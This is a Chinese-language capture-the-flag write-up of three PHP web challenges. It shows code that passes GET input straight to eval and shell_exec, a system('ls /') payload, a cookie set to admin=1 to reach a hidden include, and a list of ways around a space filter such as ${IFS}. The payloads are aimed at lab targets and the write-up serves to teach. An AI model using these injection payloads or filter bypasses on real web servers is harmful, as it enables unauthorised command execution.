1、[SWPUCTF 2021 新生赛]easyrce
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>
if(isset($_GET['url'])) isset函数用来检测url变量是否存在;$_GET函数获取变量数据
eval($_GET['url']); eval函数用来执行参数数据,并返回结果,其中字符串当作PHP代码来执行。
利用eval函数进行命令执行尝试
/?url=system('ls /');
得到了根目录内容
看到一个与flag有关的文件,用cat命令查看。
得到flag
.system函数
该函数会将执行的结果输出并将输出结果的最后一行作为字符串返回,如果执行失败则返回fale。这个函数也是经常被使用到的。
<?php highlight_file(__FILE__); system('pwd'); ?>
2.1.2.exec函数
该函数不会输出结果,但是会返回执行结果的最后一行,可以结合output进行结果的输出。
<?php highlight_file(__FILE__); exec('pwd',$b); var_dump($b); ?>
2.1.3.passthru函数
该函数只调用命令,并将运行的结果原封不动的输出,没有相应的返回值。
<?php highlight_file(__FILE__); passthru('ls'); ?>
2.1.4.shell_exec函数
该函数不会输出结果,返回执行结果 使用反引号(``)时调用的就是此函数。
<?php highlight_file(__FILE__); var_dump(shell_exec('ls')); ?>
2、[SWPUCTF 2021 新生赛]babyrce
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!
用if语句判断cookie的值是否等于 admin=1,如果相等则输出包含的文件../next.php,尝试cookie注入。
得到了一个php文件,打开看看,是一段新的代码。
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>
正则匹配“/ /”,因此要得到flag需要绕过空格
空格绕过:
> < <> 重定向符
%20(space)
%09(tab)
$IFS$9
${IFS}(最好用这个)
$IFS
%0a 换行符
{cat,flag.txt} 在大括号中逗号可起分隔作用
所以用${IFS}绕过空格,查看根目录内容。
发现有一个flllllaaaaaaggggggg,flag应该就在里面,用cat命令查看。
得到flag
3、[羊城杯 2020]easycon
打开页面后没有提示和信息,尝试查看源码
看到了一个地址,尝试查看,发现了一个index.php,打开后发现又回到了刚才的页面。
换一个思路,尝试目录扫描,
扫描出了两个文件,尝试打开看一下。
打开后得到一个弹窗页面,eval post cmd想到一句话木马或者命令执行。
尝试蚁剑链接,发现数据为空应该不是一句话木马。
尝试命令执行,通过post传入参数
尝试打开txt文件查看内容,命令执行cat
查看到一串字符串,猜测可能需要转成jpg格式
是一个base64转图片,得到flag。